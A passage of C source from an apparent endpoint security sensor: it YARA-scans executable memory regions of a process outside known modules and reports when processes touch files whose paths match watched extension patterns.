RP_TAGS_BASE_ADDRESS, &mem ) && rSequence_getRU64( memoryRegion, RP_TAGS_MEMORY_SIZE, &memSize ) && rSequence_getRU8( memoryRegion, RP_TAGS_MEMORY_ACCESS, &memAccess ) && ( PROCESSLIB_MEM_ACCESS_EXECUTE == memAccess || PROCESSLIB_MEM_ACCESS_EXECUTE_READ == memAccess || PROCESSLIB_MEM_ACCESS_EXECUTE_READ_WRITE == memAccess || PROCESSLIB_MEM_ACCESS_EXECUTE_WRITE_COPY == memAccess ) ) { // If it's in a known module, skip if( (RU32)( -1 ) != rpal_binsearch_array_closest( memRanges, i, sizeof( _MemRange ), &mem, (rpal_ordering_func)rpal_order_RU64, TRUE ) ) { continue; } matchContext->regionBase = mem; matchContext->regionSize = memSize; matchContext->moduleInfo = NULL; if( processLib_getProcessMemory( pid, (RPVOID)NUMBER_TO_PTR(mem), memSize, (RPVOID*)&buffer, TRUE ) ) { rpal_debug_info( "yara scanning memory region of size 0x%lx", memSize ); if( NULL != rules || rMutex_lock( g_global_rules_mutex ) ) { if( ERROR_SUCCESS != ( scanError = yr_rules_scan_mem( NULL == rules ? g_global_rules : rules, buffer, (size_t)memSize, SCAN_FLAGS_FAST_MODE | SCAN_FLAGS_PROCESS_MEMORY, _yaraMemMatchCallback, matchContext, 60 ) ) ) { rpal_debug_warning( "Yara memory scan error: %d 0x%lx 0x%lx: %d", pid, mem, memSize, scanError ); } if( NULL == rules ) { rMutex_unlock( g_global_rules_mutex ); } } rpal_memory_free( buffer ); } } } rList_free( memoryMap ); } if( rpal_memory_isValid( memRanges ) ) { rpal_memory_free( memRanges ); } return scanError; }
static RVOID processFileIo ( rpcm_tag notifType, rSequence event ) { ProcExtInfo* ctx = NULL; RPNCHAR path = NULL; RPVOID patternCtx = 0; RU8 patternId = 0; RPU8 atomId = NULL; RU32 pid = 0; rSequence newEvent = NULL; UNREFERENCED_PARAMETER( notifType ); if( rSequence_getSTRINGN( event, RP_TAGS_FILE_PATH, &path ) && HbsGetParentAtom( event, &atomId ) && rSequence_getRU32( event, RP_TAGS_PROCESS_ID, &pid ) ) { if( rMutex_lock( g_mutex ) ) { obsLib_resetSearchState( g_extensions ); if( obsLib_setTargetBuffer( g_extensions, path, rpal_string_strsize( path ) ) ) { while( obsLib_nextHit( g_extensions, &patternCtx, NULL ) ) { if( NULL != ctx || NULL != ( ctx = getProcContext( atomId ) ) ) { patternId = (RU8)PTR_TO_NUMBER( patternCtx ); if( !IS_FLAG_ENABLED( ctx->extBitMask, (RU64)1 << patternId ) ) { rpal_debug_info( "process " RF_U32 " observed file io " RF_U64, pid, patternId + 1 ); ENABLE_FLAG( ctx->extBitMask, (RU64)1 << patternId ); if( NULL != ( newEvent = rSequence_new() ) ) { HbsSetParentAtom( newEvent, atomId ); rSequence_addRU32( newEvent, RP_TAGS_PROCESS_ID, pid ); rSequence_addRU8( newEvent, RP_TAGS_RULE_NAME, patternId + 1 ); rSequence_addSTRINGN( newEvent, RP_TAGS_FILE_PATH, ctx->processPath ); hbs_publish( RP_TAGS_NOTIFICATION_FILE_TYPE_ACCESSED, newEvent ); rSequence_free( newEvent ); } } } else { rpal_debug_error( "error getting process context" ); break; } } } rMutex_unlock( g_mutex ); } } }